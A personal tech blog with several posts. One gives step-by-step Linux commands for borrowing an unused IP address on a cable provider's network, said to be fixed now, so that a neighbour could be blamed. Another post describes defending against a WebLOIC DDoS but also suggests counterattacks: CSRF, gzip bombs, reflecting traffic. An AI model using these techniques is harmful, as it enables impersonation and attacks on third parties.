Eindeutigkeit von IP-Adressen bei Unitymedia nicht gegeben

Bis vor wenigen Tagen konnte man bei Unitymedia anonym oder mit der Adresse eines anderen Internetteilnehmers im Internet surfen. Sofern man einen Linuxrechner mit dem von Unitymedia bereitgestellen Cisco-Router EPC3212 verbunden hatte (etwa als Firewall), ging das sehr leicht, und wird im Folgenden beschrieben. Linux-Grundkenntnisse werden vorausgesetzt. Da dies nicht mehr funktioniert, sehe ich kein Problem damit, hier eine Anleitung zu veröffentlichen. :)

Zuerst guckt man, welche IP und welches Subnetz man im Unitymedia-Netz derzeit nutzt:

srv ~ # ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue state UNKNOWN
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
2: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000
link/ether 00:08:54:57:43:11 brd ff:ff:ff:ff:ff:ff
inet 37.24.104.181/22 brd 255.255.255.255 scope global eth1

Als nächstes sucht man sich eine freie Adresse, dazu pingt man einfach 254 Hosts im aktuellen Subnetz an (ja, ich weiß, dass das nicht das ganze /22 ist, aber es reicht aus).

for ((i=1;i<255;i++)); do ping 37.24.104.$i -c 1 -w 1 &>/dev/null & done

In der MAC-Adresstabelle stehen nun für kurze Zeit bei erreichbaren Hosts MAC-Adressen, bei nicht-erreichbaren Hosts steht dort “incomplete”:

srv ~ # arp -an | grep 37.24.104. | grep ether
? (37.24.104.180) at 00:23:51:33:44:e1 [ether] on eth1
? (37.24.104.63) at 14:d3:4a:ff:c4:45 [ether] on eth1
[...]

srv ~ # arp -an | grep 37.24.104. | grep incomplete
? (37.24.104.210) at <incomplete> on eth1
? (37.24.104.232) at <incomplete> on eth1
[...]

Eine der unbenutzten IPs kann man sich nun ausleihen.

Achtung: falls man eine in Verwendung befindliche Adresse benutzte, könnte man ggfs. Verbindungsprobleme bei anderen verursachen. Außerdem surft man mit fremder IP!

Man legt zuerst ein sogenanntes macvlan Interface an, damit die neue IP mit einer neuen MAC-Adresse ‘verknüpft’ werden kann.
ip link add link eth1 address 00:11:22:33:44:55 macvlan0 type macvlan

Dann fügt man eine IP hinzu, die frei ist (siehe oben):
ip a add 37.24.104.210/22 dev macvlan0

und aktiviert anschließend das virtuelle Device.
ifconfig macvlan0 up

Nun richtet man in seiner bestehenden Firewall eine Regel ein, die alle Zugriffe eines Hosts hinter der Firewall auf eine neue öffentliche IP umschreibt, wenn man auf eine der IPs von http://checkip.dyndns.org zugreift. Dies ermöglicht es zu verifizieren, ob man tatsächlich mit der falschen IP 37.24.104.210 surft. Außerdem kann man eine der übrigen IPs von http://checkip.dyndns.org aufrufen um zu verifizieren, dass beide IP-Adressen gleichzeitig in Benutzung sind. Im Beispiel nutze ich hier bereits Shorewall und es wird in der passenden iptables-Chain eine Regel dafür angelegt (bei direkter Verwendung von iptables in POSTROUTING anlegen) :

srv ~ # iptables -t nat -I eth1_masq 1 -s 192.168.0.1/32 -d 216.146.38.70/32 -j SNAT --to-source 37.24.104.210

In der Praxis würde man hier die Regel so umschreiben, dass jeglicher Verkehr über die neue IP läuft, und komplett anonym – oder mit der IP von jemand anderem (!) – zu surfen.

srv ~ # iptables -t nat -I eth1_masq 1 -s 192.168.0.1/32 -j SNAT --to-source 37.24.104.210

Vom Rechner 192.168.0.1 hinter unserer Firewall führt man nun z.B. curl oder wget aus, um zu verifizieren, dass ein Aufruf der IP 216.146.38.70 tatsächlich über die neue Quell-IP geschieht:

srv2# curl 216.146.38.70
<html><head><title>Current IP Check</title></head><body>Current IP Address: 37.24.104.210</body></html>
srv2# curl 216.146.39.70
<html><head><title>Current IP Check</title></head><body>Current IP Address: 37.24.104.181</body></html>

Voila, anonymes Internet. Abmahnungen gehen nun möglicherweise an den unschuldigen Nachbarn.

Soweit ich weiß, ist es aber nun behoben! Nach wie vor sieht man aber einiges an ARP-Traffic und DHCP-Requests von anderen Teilnehmern, z.B:

12.576487 10.132.192.1 -> 255.255.255.255 DHCP 329 DHCP ACK      - Transaction ID 0x4010211f
12.627097 00:1d:45:6b:da:d1 -> ff:ff:ff:ff:ff:ff ARP 60 Who has 10.4.128.221?  Tell 10.4.128.1

Warum funktionierte das Ganze? Siehe hierzu: DOCSIS.

Meiner Ansicht nach war das Ganze aber zusätzlich auch eine Fehlkonfiguration bei Unitymedia. Jeder Kunde sollte nur eine MAC und IP nutzen können, und von Unitymedia sollte nur Traffic für IPs durchgeleitet werden, die auch in Benutzung sind und per DHCP an genau diesen Kunden zugewiesen wurden. Ich bin aber kein Experte für Kabelnetze. :)

Posted in Info, Security | Tagged , , , , | Leave a comment

DELL about SSH key authentication on PowerConnect M6220

PowerConnect M6220 SwitchA coworker asked DELL about SSH public key auth on PowerConnect M6220, because we wanted to automate something. Anyways, it’s pretty common to automate stuff nowadays, right?

 

Here is DELL’s reply on using a ssh with keys:

Von: xxx@Dell.com [mailto:xxx@Dell.com]
An: xxx
Cc: xxx@Dell.com
Betreff: Dell SR:xxxxxxxxx

Good morning Mr. xxx,

I’m the engineer to whom Mr. xxx has escalated the above mentioned
service request. I’m writing to you today to inform you that unfortunately
public key authentication isn’t supported in way  you’d like to on these
switches with version 5.x firmware. That is, you will either always end up
being asked for a password, in addition / even though you supply correct
private/public key during your ssh session negotiations, or you might end
up inadvertently opening a backdoor for unauthenticated users wishing to
use password authentication only.

Either way, it seems this will take quite some time to fix, so I suggest I
close this service request out now and will keep you informed about any
future developments on this issue.

Kind regards,
xxx, B.Sc. (Hons) in IS/IT

Enterprise Product Engineer, Networking & Linux & Security
Dell | Enterprise Support Services
Office Number (+353 1 xxx xxxx)
M-F (8:00 – 16:30 IST)
Certification: CCNP, RHCE & JNCIP-SEC
How am I doing? Email my manager xxx, xxx
<mailto:xxx@DELL.com>  with any feedback.

 

Uhm… what? Oo

 

Posted in english, fun, Rechenzentrum, Uncategorized | Tagged , , , , , , | Leave a comment

Free Ingress Activation Code

https://lh5.googleusercontent.com/-U3oAbBtQCe0/UKe-u6s2nnI/AAAAAAAAls8/5X7YUHXJoyw/_ingress_anim_1a.gifWhoever wants a free Ingress Activation Code, here is one. Just try it. If it worked, comment!

recruit@nianticproject.com has invited you to an exclusive beta test of Ingress.

 

Google Play Store Logo ACTIVATION CODE: 83828N96

The Ingress has begun. Life seems “normal” but your world is being
infiltrated. A mysterious energy has been unlocked by a team of scientists
in Europe and is spreading around the world. The origin and purpose of this
force is unknown, but some researchers believe it is influencing the way we
think. We must control it or it will control us. There are two factions.
The Enlightened seek to spread this influence. The Resistance struggle to
protect what’s left of our humanity.

Continue reading

Posted in english, fun | Tagged , , , , , , , , | 7 Comments

Why Oracle (and Java) sucks

We were investigating random crashes of a webapp, and it turned out to be a JAVA CORBA bug, so we  reported it to Oracle. Today, I got the following reply in my mail:

I own your service request *-*********** about a Java Corba problem.
Please understand that Java is a free product. Hence support (and bugfixes) can only be provided for Java SE contract customers.

Unfortunately, the Customer Support Identifier CSI#******** you entered does not entitle you to Oracle Java SE support. To submit a Service Request (SR) for Java SE when running your own or third party Java applications, a Java SE Support contract is required.

The bug you are referring is in state accepted indeed. There are no plans right now to fix it. Of course, if a contract customer requests a fix, then it will be fixed. Otherwise it might take quite some time until a fix becomes available.

[...]

Oracle Java Support starts at $10,000. Thank you very much, so leave the bug open and let other customers stumble upon it. Just yesterday I heard that armed US drones are using CORBA for communication, too… oh my.

Our approach might be using Nagios Eventhandlers to restart crashed application servers, as we got more than N+1 of those. Oracle’s mentality pisses me off…

Posted in english, Rant, Rechenzentrum, Uncategorized, web | Tagged , , , , , , , , , , | 4 Comments

Mailing vom Microsoft App-Store

Profis am Werke! Microsoft sendet beim Anmeldeprozess im Appstore Mails von account-security-noreply@microsoft.com – leider mit einem falschen HELO Header, sodass Mails von vielen Spamfiltern nicht angenommen werden.

Sep 28 15:56:18 XXXX postfix/smtpd[26350]: NOQUEUE: reject: RCPT from co1gmehub07.msn.com[65.55.52.235]: 450 4.7.1 : Helo command rejected: Host not found; from= to= proto=ESMTP helo=

In /etc/postfix/main.cf hat man üblicherweise sowas wie hier, um möglichst früh möglichst viele Spammer abzuwehren:
smtpd_helo_restrictions = permit_mynetworks,
reject_invalid_hostname,
reject_non_fqdn_hostname,
reject_unknown_hostname

Kaum zu glauben, aber extrem viele Spammer scheitern bereits an dieser Hürde.

Die Lösung: um den Host zu Whitelisten macht man folgendes:
smtpd_helo_restrictions = permit_mynetworks,
check_helo_access hash:/etc/postfix/helo_access,
reject_invalid_hostname,
reject_non_fqdn_hostname,
reject_unknown_hostname

Außerdem auf der Kommandozeile:

echo "smtpi.msn.com OK" >> /etc/postfix/helo_access
postmap /etc/postfix/helo_access
/etc/init.d/postfix reload

So kommt auch Microsoft durch die smtpd_helo_restrictions. :)

Posted in fun, Rechenzentrum, Uncategorized | Tagged , , , , , | 5 Comments

Hidden Services

Nicht jede Software unterstützt das URL-Schema von Tor hidden services; in dem Falle kann man als hack einfach socat benutzen, hier im Beispiel wird ein IRC hidden service mit  irssi genutzt:

 

socat TCP4-LISTEN:4223,fork SOCKS4A:localhost:XYZ.onion:6667,socksport=9050

Dadurch wird der Port lokal gebunden und über den lokalen Tor Socks Port auf den Hidden Service umgeleitet. In irssi tippt kann man nun einfach:

/connect localhost 4223

Ich finde das einen schönen generischen Hack, den ich euch nicht vorenthalten wollte. :)

Posted in Linux | Tagged , , , , | Leave a comment

Defending against & having fun with WebLOIC

Lately, one of the websites under my protection was being DDoSed by a well-known trouble-making party whose name shall not be released and stay anonymous. Another party that is monitoring the web for threats against our websites notified me that a DDoS was currently being  started. It seemed that the attackers were spamming a link to an automatically starting WebLOIC via mail and tricked others with a variation of methods to open the URL so that they would automatically participate in the DDoS.

Let’s move to the technical side: it was a pretty small DDoS, with about 50MBit/s – we probably wouldn’t have noticed as it just looked like a normal traffic spike and did not endanger the availability of the website at all. We’ve handled much larger legitimate traffic spikes for that site already.

A quick investigation showed that WebLOIC was being used and was ‘hosted’ on a nopaste service. Requests looked like this:

GET /?id=1300380622178&msg=We%20Are%20Legion! HTTP/1.1
Host: XXXXXXXXX
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:8.0) Gecko/20100101 Firefox/8.0
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Connection: keep-alive
Referer: http://xxxxxxxxx.html

Quickly checking out the referer gave me the sourcecode; the id consists of a timestamp and the request id. The ‘msg’ is a user-changable text, but ‘id’ is javascript-generated.

How to block it?
- Use a regular expression for the query string (very easy)
- Block users with a referer from that nopaste service (very easy, too)
- Block users that do more than X connections within a minute (easy if you have a decent firewall), side-effects might cause large NAT gateways from mobile providers to be blocked, but that’s better than being completely offline, right?

Where to block:
- block as early as possible: in your DPI firewall, web application firewall or loadbalancer
- *not* in every single webserver

Having Fun:
As the WebLOIC runs in the attacker’s browser, there are lots of possibilites:
- redirect attackers to a site known to be monitored by the FBI (explosives, terrorism etc.)
- CSRF, make them post something on a service like facebook or twitter (#iDDoS-site.tdl) and search for their posts. Kindly ask them to stop.
- redirect the attackers to do lots of google searches – they will quickly be blocked by google services
- send a gzip-encoded stream that consumes lots of cpu time and memory on their side, this might even crash the browser
- ‘reflect’ the DDoS to somewhere else (sending 301/302 redirects is pretty low-bandwidth for you)

So in total, WebLOIC was a good idea, but right now rather inefficient and its usage might have unwanted sideeffects… ;)

Posted in english, fun, Rechenzentrum, Security | Tagged , , | Leave a comment

Firefox kopiert Protokoll aus der Adressleiste mit

Das ganze ist wirklich nervig, wenn man öfter mal nur die Domain ohne führendes http:// und abschließenden Slash kopieren möchte. Ändern kann man es wie folgt:

about:config
browser.urlbar.trimURLs
Doppelklick. 
Posted in Info | 1 Comment

Gentoo-Wiki

Für alle, die es noch nicht mitbekommen haben: es gibt nun endlich ein offizielles Gentoo Linux Wiki! Langsam, aber sicher wird nun also das inoffizielle abgelöst. Ein schöner Schritt, denn mit dem inoffiziellen gab es in der Vergangenheit diverse Probleme. Damit, dass das Neue unter der Verwaltung des Gentoo Infrastructure Teams liegt, sind so Sachen wie Backups und bessere Verfügbarkeit gesichert. :)

Posted in Gentoo, Info, Linux, web | Tagged , | Leave a comment

Gentoo Linux Security Weekend

Last weekend, Gentoo Linux developers a3li and keytoaster came around and with help from p-y and underling via IRC, we killed the huge backlog of open CVEs in our tracker, voted on about 100 security bugs, drafted several dozens of GLSAs and were hunting bugs on GLSAMaker2. We also had good company from (non-security) developer idl0r on saturday. :)

During the week, we polished up some GLSAs and since sunday, we send these (a lot more to come!):

OpenSSL: Multiple vulnerabilities
Wireshark: Multiple vulnerabilities
Bugzilla: Multiple vulnerabilities
Dovecot: Multiple vulnerabilities
GnuTLS: Multiple vulnerabilities
PHP: Multiple vulnerabilities
vsftpd: Denial of Service
feh: Multiple vulnerabilities
Conky: Privilege escalation
Wget: User-assisted file creation or overwrite
Adobe Flash Player: Multiple vulnerabilities

Thanks for helping out, everyone!

Here are some impressions:

 

 

 

 

 

Posted in english, Gentoo, Linux, Security | Tagged , , , , , , , | Leave a comment